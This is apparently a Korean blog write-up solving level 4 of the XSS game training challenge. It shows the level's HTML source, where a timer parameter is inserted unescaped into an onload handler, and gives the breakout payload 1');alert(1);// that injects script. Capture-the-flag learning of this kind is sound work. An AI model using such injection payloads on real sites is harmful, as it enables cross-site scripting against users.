본문 바로가기

Write-Up/XSS-game

[XSS game] xss-game level 4

<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
  </head>
 
  <body id="level4">
    <img src="/static/logos/level4.png" />
    <br>
    <form action="" method="GET">
      <input id="timer" name="timer" value="3">
      <input id="button" type="submit" value="Create timer"> </form>
    </form>
  </body>
</html>

코드를 보면 get방식으로 timer변수가 넘어간다.

<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
 
    <script>
      function startTimer(seconds) {
        seconds = parseInt(seconds) || 3;
        setTimeout(function() { 
          window.confirm("Time is up!");
          window.history.back();
        }, seconds * 1000);
      }
    </script>
  </head>
  <body id="level4">
    <img src="/static/logos/level4.png" />
    <br>
    <img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
    <br>
    <div id="message">Your timer will execute in {{ timer }} seconds.</div>
  </body>
</html>

timer소스 코드를 봐보자.

<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />

이부분을 조작하면 문제를 풀수있을 것 같다.

{timer}가 변수로 입력되는걸 확인했으니 timer에 조작된 값을 넣어주도록 하자

1');alert(1);//

 

'Write-Up > XSS-game' 카테고리의 다른 글

[XSS game] xss-game level 6  (0) 2021.01.26
[XSS game] xss-game level 5  (0) 2021.01.26
[XSS game] xss-game level 3  (0) 2021.01.26
[XSS game] xss-game level 2  (0) 2021.01.26
[XSS game] xss-game level 1  (0) 2021.01.26